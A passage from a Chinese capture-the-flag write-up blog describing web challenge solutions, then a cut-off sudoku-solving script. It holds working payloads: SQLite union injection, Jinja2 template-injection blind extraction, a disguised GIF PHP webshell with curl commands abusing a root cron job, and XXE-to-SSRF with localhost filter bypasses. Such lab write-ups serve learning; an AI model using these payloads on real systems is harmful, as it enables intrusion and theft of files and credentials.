1,2,3,'</span><span>4</span><span>'||'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后就是拿表名列名之类的操作了：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Windfall2407</span><span>' union select 1,2,3,(select group_concat(name) from sqlite_master where type='</span><span>table</span><span>')||'</span></div></div><div><div><div>2</div></div><div><span>Windfall2407</span><span>' union select 1,2,3,(select group_concat(name) from pragma_table_info('</span><span>secret_flags</span><span>'))||'</span></div></div><div><div><div>3</div></div><div><span>Windfall2407</span><span>' union select 1,2,3,(select flag_value from secret_flags)||'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>这题对只打过 Moectf2026 的笔者还是有两个很重要的启发：一个就是考察到了笔者不熟悉的 sqlite ，以至于刚开始做的时候总是不小心串到 Mysql 的一些函数、库名中以至于还以为查表名等手段被 ban 了；还有就是把注释给 ban 了，这时候就要尽量注入位置在后面的参数比如 <code>password</code> 了，因为少了注释这种 AOE（群伤）杀招，我们就必须考虑到注入参数后面的语句了，而 <code>password</code> 譬如对于本题来说后面只有一个 <code>'</code> ，减小了使语法有效的难度。</p></blockquote></section><section><h3>BandInvite<a href="#bandinvite"><span>#</span></a></h3><p>发现能注册，随便注册一个用户进去后，发现用户权限不够，则方向应该是想办法提权（？发现 <code>cookie</code> 处出现了一个类似 JWT 的 session ，推测要伪造 JWT。</p><p>然后用 hashcat + hashmob.net_2025.small.found 来爆破密钥，未成功，又尝试修改 <code>alg:none</code> 等方法均无法实现。说明密钥可能是强随机且 header 有校验，这条路大概率行不通。</p><p>在审计源码时发现了一个 <code>&lt;script type="module" src="/@vite/client"&gt;&lt;/script&gt;</code> ，上网查询后发现这大概率是开发环境下源码没有打包直接放到生产环境下，这意味着可以获取 <code>package.json</code> ，成功在里面找到了 vite 版本号 <code>8.0.4</code> 。搜索相关版本的 CVE 漏洞，找到了一个很有用的任意文件读写漏洞 —— <strong>CVE-2026-39363</strong> ，从 github 上找到相关的利用脚本（<a href="https://github.com/sunynov/CVE-2026-39363" target="_blank">GitHub - sunynov/CVE-2026-39363: 方便实用的CVE-2026-39363利用工具 · GitHub</a>），利用 ds 修改了 “缺少发 TLS SNI”（不是很清楚，可能是 tsctf 的服务端配置中要求了不发 SNI 就拒绝完成 TLS 握手？） 的漏洞以后尝试用其连接在页面的 <code>Audit Logs</code> 里提到的 <code>/run/starry/dispatch-note.txt</code> 并且成功获取内容：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ticket: handoff-9c2e7b41</span></div></div><div><div><div>2</div></div><div><span>roster: GET /api/dispatch/roster?ticket=...</span></div></div><div><div><div>3</div></div><div><span>open shift: shift-0727</span></div></div><div><div><div>4</div></div><div><span>claim hint: POST /api/dispatch/shift-0727/...</span></div></div><div><div><div>5</div></div><div><span>Check roster before claiming; keep the same session.</span></div></div><div><div><div>6</div></div><div><span>Preview helper: press_kit.attachment(filename, ticket)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>修改后脚本会贴在博客最后，另外利用 dsh 在常见出现 flag 的地方进行遍历，最终在 <code>/flag</code> 发现了 flag，但是由于权限问题无法读取，先记下这个路径：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[!] read failed: Error: EACCES: permission denied, open '/flag'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>先 GET <code>roster</code> 可以得到：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>"assigned_to"</span><span>: </span><span>"seika"</span><span>,</span></div></div><div><div><div>4</div></div><div><span>    </span><span>"date"</span><span>: </span><span>"2026-07-27"</span><span>,</span></div></div><div><div><div>5</div></div><div><span>    </span><span>"duty"</span><span>: </span><span>"notice_review"</span><span>,</span></div></div><div><div><div>6</div></div><div><span>    </span><span>"id"</span><span>: </span><span>"shift-0727"</span><span>,</span></div></div><div><div><div>7</div></div><div><span>    </span><span>"status"</span><span>: </span><span>"open"</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>10</div></div><div><span>    </span><span>"assigned_to"</span><span>: </span><span>"nijika"</span><span>,</span></div></div><div><div><div>11</div></div><div><span>    </span><span>"date"</span><span>: </span><span>"2026-08-02"</span><span>,</span></div></div><div><div><div>12</div></div><div><span>    </span><span>"duty"</span><span>: </span><span>"live_check"</span><span>,</span></div></div><div><div><div>13</div></div><div><span>    </span><span>"id"</span><span>: </span><span>"shift-0802"</span><span>,</span></div></div><div><div><div>14</div></div><div><span>    </span><span>"status"</span><span>: </span><span>"open"</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>17</div></div><div><span>    </span><span>"assigned_to"</span><span>: </span><span>"ryo"</span><span>,</span></div></div><div><div><div>18</div></div><div><span>    </span><span>"date"</span><span>: </span><span>"2026-08-11"</span><span>,</span></div></div><div><div><div>19</div></div><div><span>    </span><span>"duty"</span><span>: </span><span>"budget_review"</span><span>,</span></div></div><div><div><div>20</div></div><div><span>    </span><span>"id"</span><span>: </span><span>"shift-0811"</span><span>,</span></div></div><div><div><div>21</div></div><div><span>    </span><span>"status"</span><span>: </span><span>"closed"</span></div></div><div><div><div>22</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>23</div></div><div><span>]</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>然后猜测 claim 路径的省略号指代的应该就是 claim ，POST 后提示：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{ </span><span>"error"</span><span>: </span><span>"dispatch ticket required"</span><span> }</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>加上 GET 参数 <code>ticket=handoff-9c2e7b41</code> 即可：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"ok"</span><span>: </span><span>true</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>"role"</span><span>: </span><span>"admin"</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>此时登录账号发现自己已经变成了 <code>admin</code> 身份，可以访问通知预览了。</p><div><div><div></div><div>注意如果直接 POST claim 会返回 <code>"error": "roster confirmation required"</code> ，此事在 <code>dispatch-note.txt</code> 中亦有记载—— <code>Check roster before claiming; keep the same session.</code>。</div></div><div></div></div><p>由于发出去的通知根本没有回显，有些没思路了，于是让 dsh 拿着 admin 身份跑了接口，根据 dsh 发现，当且仅当通知类型为 “临时公告” 即 <code>custom_stage_notice</code> 时服务端会进行模板渲染，并且将渲染的成功与否以 <code>archived/failed</code> 的状态返回，这也对应了后面出题人发的 hint ：</p><blockquote><p>开发人员和店长说，预览不会直接回显渲染结果，但是他忘了清理返回的布尔状态</p></blockquote><p>对了 dsh 还发现了如果直接访问或者是在网页端访问的话会提示需要 ticket ，解决方法是在请求体的 <code>variables</code> 处增加一个字段 <code>ticket</code> 并设值为 <code>handoff-9c2e7b41</code> 即可。</p><p>尝试注入，发现 <code>__</code> 、<code>import</code> 等关键词返回 <code>"error": "notice body rejected by publishing policy"</code> ，则问题变成了 Jinja2 上下文 pyjail + 字符串 WAF 。</p><p>字符串很好绕过，我们可以使用比如 <code>'o'~'s'</code> 来构造 <code>os</code> 等黑名单里的字符串 ，使用 <code>.|attr()</code> 来代替点号的调用。但是绕过这一层后就陷入了死胡同，所有常规的沙箱逃逸手段全部无效，甚至拿 dsh 对我知道的和我不知道的所有逃逸方法都跑了一遍，完全无法读到文件 <code>/flag</code> 。</p><p>去请教出题人，出题人这时候给了个 hint ，才发现我漏掉了 <code>dispatch-note.txt</code> 的最后一行：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Preview helper: press_kit.attachment(filename, ticket)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>也就是说沙箱里难道预留了一个工具函数可以读取文件？尝试以下代码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{% if press_kit is defined %}OK{% else %}{{ 1/0 }}{% endif %}</span></div></div><div><div><div>2</div></div><div><span>{% if press_kit|attr('attachment') is callable %}OK{% else %}{{ 1/0 }}{% endif %}</span></div></div><div><div><div>3</div></div><div><span>{% if (press_kit.attachment('/f'~'lag', ticket)) is string %}OK{% else %}{{ 1/0 }}{% endif %}</span></div></div><div><div><div>4</div></div><div><span>{% if (press_kit.attachment('/f'~'lag', ticket)[0]) is defined %}OK{% else %}{{ 1/0 }}{% endif %}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>以上结果皆为成功，说明可以通过 <code>press_kit.attachment()</code> 返回的字符串按下标一位一位进行布尔二分从而拿到 flag ，让 ds 写了相关代码，以 <code>{% if (press_kit.attachment('/f'~'lag', ticket)[i]) == 'T' %}A{% else %}{{1/0}}{% endif %}</code> 这种方式来将任何表达式的布尔转化为是否抛出异常，成功拿到 flag 。</p><div><div><div></div><div>这边要注意的是由于 flag 文件末尾存在换行符，所以在读到 <code>}</code> 后还会读取出一位字符，需要注意程序的设计。</div></div><div></div></div></section><section><h3>玛德莱娜小蛋糕<a href="#玛德莱娜小蛋糕"><span>#</span></a></h3><p>整个页面只有一个上传 GIF 图片的操作空间，推测考点是图片木马。刚开始还是用 <code>copy /b</code> 将真实 GIF 和 PHP Payload 拼接，后来一次偶然的尝试发现只需要在文件开头添加魔数 <code>GIF89a</code> 即可绕过检验，省了一步 <code>copy</code> 操作。</p><p>当上传包含 <code>&lt;?php</code>（大小写不敏感）时会发现类似 “管理员嗅到了浓浓的 php 味道” 之类的话，考虑绕过，尝试修改为 <code>&lt;?=</code> ，发现成功上传了，从而成功构造 RCE 。</p><p>下一步对系统进行分析，最后在根目录下发现 <code>flag</code> ，发现是 <code>600</code> ，拥有者是 <code>root</code> ，而我们目前拿到的权限肯定是不够 <code>root</code> 的，则下一步应该是提权。</p><p>在根目录发现了一个非常规文件 <code>entrypoint.sh</code> 交给 ds 分析后得到了一个关键词是 <code>cron</code> ，查询后得知这是 linux 的定时任务管理工具，于是尝试读取以下路径：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cat</span><span> </span><span>/etc/crontab</span></div></div><div><div><div>2</div></div><div><span>ls</span><span> </span><span>-la</span><span> </span><span>/etc/cron.d/</span><span> </span><span>/etc/cron.hourly/</span><span> </span><span>/etc/cron.daily/</span><span> </span><span>/etc/cron.weekly/</span><span> </span><span>/etc/cron.monthly/</span></div></div><div><div><div>3</div></div><div><span>ls</span><span> </span><span>-la</span><span> </span><span>/var/spool/cron/crontabs/</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在 <code>/etc/cron.d/</code> 中发现了以下内容：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>-rw-r--r-- 1 root root   99 Oct  3 13:11 teahouse-cleanup</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>读取后得到：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>* * * * * root /bin/bash /opt/teahouse/bin/clean_uploads.sh &gt;&gt; /var/log/teahouse-cleanup.log 2&gt;&amp;1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>从而发现以 root 权限启动的定时任务并获得其内容：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/bin/bash</span></div></div><div><div><div>2</div></div><div><span>set</span><span> </span><span>-u</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>UPLOAD_DIR</span><span>=</span><span>"/var/www/html/storage/tmp"</span></div></div><div><div><div>5</div></div><div><span>PROFILE_FILE</span><span>=</span><span>"/var/lib/teahouse/cleanup.conf"</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>if</span><span><span> [ </span><span>!</span><span> </span><span>-d</span><span> </span></span><span>"</span><span>$UPLOAD_DIR</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>8</div></div><div><span>    </span><span>exit</span><span> </span><span>0</span></div></div><div><div><div>9</div></div><div><span>fi</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>if</span><span><span> [ </span><span>-f</span><span> </span></span><span>"</span><span>$PROFILE_FILE</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>12</div></div><div><span>    </span><span>source</span><span> </span><span>"</span><span>$PROFILE_FILE</span><span>"</span></div></div><div><div><div>13</div></div><div><span>fi</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span># The teahouse keeps albums tidy by sweeping oversized or stale temporary desserts.</span></div></div><div><div><div>16</div></div><div><span>find</span><span> </span><span>"</span><span>$UPLOAD_DIR</span><span>"</span><span> </span><span>-type</span><span> </span><span>f</span><span> </span><span>-size</span><span> </span><span>+"</span><span><span>${</span><span>MAX_UPLOAD_SIZE</span></span><span>:-</span><span><span>1M</span><span>}</span></span><span>"</span><span> </span><span>-delete</span></div></div><div><div><div>17</div></div><div><span>find</span><span> </span><span>"</span><span>$UPLOAD_DIR</span><span>"</span><span> </span><span>-type</span><span> </span><span>f</span><span> </span><span>-mmin</span><span> </span><span>+"</span><span><span>${</span><span>UPLOAD_TTL_MINUTES</span></span><span>:-</span><span><span>3</span><span>}</span></span><span>"</span><span> </span><span>-delete</span></div></div><div><div><div>18</div></div><div><span>find</span><span> </span><span>"</span><span>$UPLOAD_DIR</span><span>"</span><span> </span><span>-type</span><span> </span><span>f</span><span> </span><span>-mmin</span><span> </span><span>+"</span><span><span>${</span><span>UPLOAD_TTL_MINUTES</span></span><span>:-</span><span><span>3</span><span>}</span></span><span>"</span><span> </span><span>-delete</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>查询后发现其中的 <code>source</code> 命令能够以当前命令的权限来执行后面跟的参数所指向的文件，则如果能够修改该文件即可达到 <code>sudo</code> 的效果从而读取 <code>flag</code> 。由于定时任务的回显无法读取，所以只能使定时任务能够修改 <code>flag</code> 为 <code>644</code> 即可。</p><p>另外好像直接修改 <code>flag</code> 的权限不行，要先复制一下去修改复制的文件的权限（？</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>curl</span><span> </span><span>-k</span><span> </span><span>"https://79546a564770794f7565515a5937384d39476e5762-p80.chal.buptmerak.cn/storage/tmp/32db9bf55d1d.phtml?cmd=echo%20%27cp%20/flag%20/var/www/html/flag%3Bchmod%20644%20/var/www/html/flag%27%3E/var/lib/teahouse/cleanup.conf%26%26echo%20ok"</span></div></div><div><div><div>2</div></div><div><span>curl</span><span> </span><span>-k</span><span> </span><span>"https://79546a564770794f7565515a5937384d39476e5762-p80.chal.buptmerak.cn/storage/tmp/32db9bf55d1d.phtml?cmd=cat%20/var/www/html/flag"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>MinePortrait<a href="#mineportrait"><span>#</span></a></h3><p>打开后发现是个星露谷的登陆界面，尝试随便输入账号密码，提示 <code>Invalid workshop badge.</code>。</p><p>尝试查看 <code>robots.txt</code> ，发现 <code>Disallow: /www.zip</code> ，成功下载到两个文件。其中的 Python 文件展示了一个账号密码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># leaked login source</span></div></div><div><div><div>2</div></div><div><span><span>USERNAME</span><span> </span><span>=</span><span> </span></span><span>"m0rnis"</span></div></div><div><div><div>3</div></div><div><span><span>PASSWORD</span><span> </span><span>=</span><span> </span></span><span>"passw0rd"</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>def</span><span> </span><span>check_login</span><span>(</span><span>username</span><span>,</span><span><span> </span><span>password</span></span><span>):</span></div></div><div><div><div>6</div></div><div><span>    </span><span>if</span><span><span> username </span><span>==</span><span> </span><span>USERNAME</span><span> </span></span><span>and</span><span><span> password </span><span>==</span><span> </span><span>PASSWORD</span><span>:</span></span></div></div><div><div><div>7</div></div><div><span>        </span><span>return</span><span> </span><span>True</span></div></div><div><div><div>8</div></div><div><span>    </span><span>return</span><span> </span><span>False</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>尝试后成功登录进去，注意到得到了一个 <code>session: junimo-session-m0rnis</code> ，比较奇怪的是是明文，尝试修改为 <code>admin</code> 后发现要重新登录，暂时没发现有什么突破口。</p><p>再看登录后的界面是一个类似于图片格式转化的功能，难道跟玛德莱娜一样是文件上传漏洞吗？在进行了简单的前端代码审计后发现 <code>submit</code> 被监听阻止默认事件并且在本地用 canvas 做了一个伪转化，但是有个关键的判断：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>if</span><span><span> (</span><span>source</span><span> </span></span><span>===</span><span> </span><span>"svg"</span><span> </span><span>&amp;&amp;</span><span><span> </span><span>target</span><span> </span></span><span>===</span><span> </span><span>"png"</span><span>) {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>const</span><span> </span><span>text</span><span> </span><span>=</span><span> </span><span>await</span><span> </span><span>blobToText</span><span><span>(</span><span>file</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>  </span><span>if</span><span> (</span><span>/&lt;!</span><span>\s</span><span><span>*</span><span>(doctype</span><span>|</span><span>entity)</span><span>|</span><span>SYSTEM</span></span><span>\s</span><span>+</span><span>["']</span><span>/</span><span>i</span><span>.</span><span>test</span><span><span>(</span><span>text</span><span>)) {</span></span></div></div><div><div><div>4</div></div><div><span>    </span><span>setStatus</span><span>(</span><span>"Sending SVG to the workshop renderer..."</span><span>);</span></div></div><div><div><div>5</div></div><div><span>    </span><span>return</span><span>;</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>也就是说当原来的图为 svg ，目标转化为 png 时，会直接上传而不是本地伪转化。本地找了个 svg 上传一下，发现会先显示该 svg ，然后 submit 成功，服务端返回一个带有信纸背景的文字图 <code>Portrait conversion completed.</code> 。这里请教 <code>m0rnis</code> 学长后得知 <code>svg2png</code> 是经典的一个问题，于是在写 wp 时上网查询相关关键词，得知 svg 实际上支持 js 和 xml 的一些标准，而这里的 xml 就会带来一个经典问题即 XXE ，同时 js 还会带来 XSS 问题。</p><p>在上传其他带有图像的 svg 时只会返回同一段文本，而只有 <code>&lt;text&gt;&lt;/text&gt;</code> 的 svg 就会显示 text 的内容，所以 XXE 的方向应该就是通过读取外带 flag 到返回的图中来。</p><p>注意到本题 <code>www.zip</code> 给出的另一个文件中有提到：</p><div><figure><figcaption><span>old_note.txt</span></figcaption><pre><code><div><div><div>1</div></div><div><span># Pelican Town workshop internal notes</span></div></div><div><div><div>2</div></div><div><span>#</span></div></div><div><div><div>3</div></div><div><span># private media helper:</span></div></div><div><div><div>4</div></div><div><span>#   service = 127.0.0.1</span></div></div><div><div><div>5</div></div><div><span>#   route = /fetch.php</span></div></div><div><div><div>6</div></div><div><span>#   query = url</span></div></div><div><div><div>7</div></div><div><span># flag in flag.txt</span></div></div><div><div><div>8</div></div><div><span># The media helper is only reachable from the workshop network.</span></div></div><div><div><div>9</div></div><div><span># It was kept for legacy artwork imports used by older portrait tools.</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>也就是说存在一个可以通过 url 获取东西的服务只在 workshop network 可访问。前期排查突破口时有尝试通过修改 <code>host</code> 、<code>xxf</code> 的方式来访问均失败，而现在我们访问的 <code>/convert</code> 的确是处在 workshop network 的，也就是说我们接下来就是要想办法让该接口去访问那个服务从而拿到 flag 。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>svg</span><span><span> </span><span>[</span><span>&lt;!</span></span><span>ENTITY</span><span> </span><span>e</span><span> SYSTEM </span><span>"http://example.com/"</span><span><span>&gt;</span><span>]</span><span>&gt;</span></span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>svg</span><span>&gt;&lt;</span><span>text</span><span>&gt;</span><span><span>&amp;</span><span>e</span><span>;</span></span><span>&lt;/</span><span>text</span><span>&gt;&lt;/</span><span>svg</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>返回 <code>The Junimos found sensitive keywords within your XML. Go refine it!</code> 说明存在关键词过滤器，经过多番尝试后发现关键词是 <code>&lt;!DOCTYPE&gt;</code> ，但是可以通过在其中添加空格来绕过（这里不能使用编码转换来绕过，因为这样会使得 <code>&lt;text&gt;</code> 不被正则匹配导致返回的值只为默认的 <code>Portrait conversion completed.</code> ）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;! DOCTYPE svg [&lt;! ENTITY e SYSTEM "http://127.0.0.1/"&gt;]&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>svg</span><span>&gt;&lt;</span><span>text</span><span>&gt;</span><span><span>&amp;</span><span>e</span><span>;</span></span><span>&lt;/</span><span>text</span><span>&gt;&lt;/</span><span>svg</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>返回 <code>Remote media URL rejected: 127.0.0.1/</code> ，查询后得知这是一个典型的 SSRF 过滤拦截。当服务器试图请求远程媒体资源时，它会检查 url 中的主机地址，一旦发现是 <code>127.0.0.1</code> 或 <code>localhost</code> 就会拒绝。而绕过方法有很多，以下列出对于本题可以绕过的方法：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://2130706433/      # 十进制</span></div></div><div><div><div>2</div></div><div><span>http://0x7f000001/      # 十六进制</span></div></div><div><div><div>3</div></div><div><span>http://0177.0.0.1/      # 八进制</span></div></div><div><div><div>4</div></div><div><span>http://0x7f.1/       # 十六进制 + 短写</span></div></div><div><div><div>5</div></div><div><span>http://[::ffff:127.0.0.1]/      # IPV6</span></div></div><div><div><div>6</div></div><div><span>http://[::ffff:7f00:1]/      # IPV6</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>以上这些会返回 <code>Conversion failed: HTTP Error 404: Not Found</code> ，说明真的连上了。还有一些绕过方法本题仍然会被拒绝：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://127.1/      # 短写</span></div></div><div><div><div>2</div></div><div><span>http://expected.com@127.0.0.1/      # userinfo 混淆</span></div></div><div><div><div>3</div></div><div><span>http://127.0.0.1\@allowed.com/      # 反斜杠路径混淆</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>接下来如果直接使用 url 去访问 <code>/flag.txt</code> 的话会返回 <code>media source rejected: missing media adapter</code> ，根据好心出题人的 hint ：</p><blockquote><p>祝尼魔们会拦下不少本机地址，却会收下用filter包好的信。</p></blockquote><p>可知应当使用 <code>php://filter</code> 进行一下流包装，选用 <code>base64</code> 即可。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://[::ffff:7f00:1]/fetch.php?url=php%3A//filter/convert.base64-encode/resource%3D%2Fflag.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>最终得到的 base64 拿去解码即可获得 flag 。</p></section></section>
<section><h2>misc<a href="#misc"><span>#</span></a></h2><blockquote><p>由于这次主要打的方向是 web ，且由于是第一次将 agent 应用在 ctf 中不太会引导 agent ，加上复盘 agent 做题过程花的时间久，导致本来想花时间打的 misc 方向基本上没有实际参与，只是拿 dsh 尝试了几道题，以下题解是尽量尝试整理 ds 的做法所写的。</p></blockquote><section><h3>play it<a href="#play-it"><span>#</span></a></h3><p>签到题，找个解数独的网站，然后写下 python 脚本去批量发送 <code>set</code> 命令，最后 <code>submit</code> 即可。</p><p>以下为脚本：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/usr/bin/env python3</span></div></div><div><div><div>2</div></div><div><span>from</span><span> pwn </span><span>import</span><span><span> </span><span>*</span></span></div></div><div><div><div>3</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span><span>HOST</span><span> </span><span>=</span><span> </span></span><span>"747264534a636730614e30344b56526d487a68635a-p9999.chal.buptmerak.cn"</span></div></div><div><div><div>6</div></div><div><span><span>PORT</span><span> </span><span>=</span><span> </span></span><span>443</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span># 如果题目里的行列是从 1 开始的，把 BASE 改成 1</span></div></div><div><div><div>9</div></div><div><span># 如果是从 0 开始的，保持 0</span></div></div><div><div><div>10</div></div><div><span><span>BASE</span><span> </span><span>=</span><span> </span></span><span>1</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span><span>context.log_level </span><span>=</span><span> </span></span><span>'info'</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>def</span><span> </span><span>recv_all</span><span>(</span><span>timeout</span><span>=</span><span>2</span><span>):</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>data </span><span>=</span><span> </span><span>b</span><span>''</span></div></div><div><div><div>16</div></div><div><span>    </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>17</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>18</div></div><div><span><span>            </span></span><span>chunk </span><span>=</span><span> p.</span><span>recv</span><span>(</span><span>timeout</span><span><span>=</span><span>timeout)</span></span></div></div><div><div><div>19</div></div><div><span>        </span><span>except</span><span> </span><span>EOFError</span><span>:</span></div></div><div><div><div>20</div></div><div><span>            </span><span>break</span></div></div><div><div><div>21</div></div><div><span>        </span><span>if</span><span> </span><span>not</span><span> chunk:</span></div></div><div><div><div>22</div></div><div><span>            </span><span>break</span></div></div><div><div><div>23</div></div><div><span><span>        </span></span><span>data </span><span>+=</span><span> chunk</span></div></div><div><div><div>24</div></div><div><span><span>        </span></span><span>sys.stdout.</span><span>write</span><span>(chunk.</span><span>decode</span><span>(</span><span>errors</span><span>=</span><span>'replace'</span><span>))</span></div></div><div><div><div>25</div></div><div><span><span>        </span></span><span>sys.stdout.</span><span>flush</span><span>()</span></div></div><div><div><div>26</div></div><div><span>    </span><span>return</span><span> data</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span><span>p </span><span>=</span><span> </span><span>remote</span><span>(</span><span>HOST</span><span>, </span><span>PORT</span><span>, </span></span><span>ssl</span><span>=</span><span>True</span><span>, </span><span>sni</span><span><span>=</span><span>HOST</span><span>)</span></span></div></div><div><div><div>29</div></div><div>
</div></div><div><div><div>30</div></div><div><span>print</span><span>(</span><span>"[+] 已连接，服务端初始返回："</span><span>)</span></div></div><div><div><div>31</div></div><div><span><span>recv_all</span><span>(</span></span><span>timeout</span><span>=</span><span>2</span><span>)</span></div></div><div><div><div>32</div></div><div>
</div></div><div><div><div>33</div></div><div><span>print</span><span>(</span><span>"</span><span>\n</span><span>[+] 请输入 9x9 数独矩阵"</span><span>)</span></div></div><div><div><div>34</div></div><div><span>print</span><span>(</span><span>"    0 表示空格；每行 9 个数字，可空格分隔或连续输入"</span><span>)</span></div></div><div><div><div>35</div></div><div><span><span>grid </span><span>=</span><span> []</span></span></div></div><div><div><div>36</div></div><div><span>for</span><span> i </span><span>in</span><span> </span><span>range</span><span>(</span><span>9</span><span>):</span></div></div><div><div><div>37</div></div><div><span>    </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>38</div></div><div><span><span>        </span></span><span>line </span><span>=</span><span> </span><span>input</span><span>(</span><span>f</span><span>"第 </span><span>{</span><span><span>i</span><span>+</span></span><span>1}</span><span> 行: "</span><span><span>).</span><span>strip</span><span>()</span></span></div></div><div><div><div>39</div></div><div><span>        </span><span>if</span><span> </span><span>not</span><span> line:</span></div></div><div><div><div>40</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>41</div></div><div>
</div></div><div><div><div>42</div></div><div><span><span>        </span></span><span>parts </span><span>=</span><span> line.</span><span>split</span><span>()</span></div></div><div><div><div>43</div></div><div><span>        </span><span>if</span><span> </span><span>len</span><span><span>(parts) </span><span>==</span><span> </span></span><span>9</span><span>:</span></div></div><div><div><div>44</div></div><div><span><span>            </span></span><span>nums </span><span>=</span><span> parts</span></div></div><div><div><div>45</div></div><div><span>        </span><span>else</span><span>:</span></div></div><div><div><div>46</div></div><div><span><span>            </span></span><span>digits </span><span>=</span><span> [ch </span><span>for</span><span> ch </span><span>in</span><span> line </span><span>if</span><span><span> ch.</span><span>isdigit</span><span>()]</span></span></div></div><div><div><div>47</div></div><div><span>            </span><span>if</span><span> </span><span>len</span><span><span>(digits) </span><span>==</span><span> </span></span><span>9</span><span>:</span></div></div><div><div><div>48</div></div><div><span><span>                </span></span><span>nums </span><span>=</span><span> digits</span></div></div><div><div><div>49</div></div><div><span>            </span><span>else</span><span>:</span></div></div><div><div><div>50</div></div><div><span>                </span><span>print</span><span>(</span><span>"格式错误，请重新输入这一行"</span><span>)</span></div></div><div><div><div>51</div></div><div><span>                </span><span>continue</span></div></div><div><div><div>52</div></div><div>
</div></div><div><div><div>53</div></div><div><span><span>        </span></span><span>grid.</span><span>append</span><span>(nums)</span></div></div><div><div><div>54</div></div><div><span>        </span><span>break</span></div></div><div><div><div>55</div></div><div>
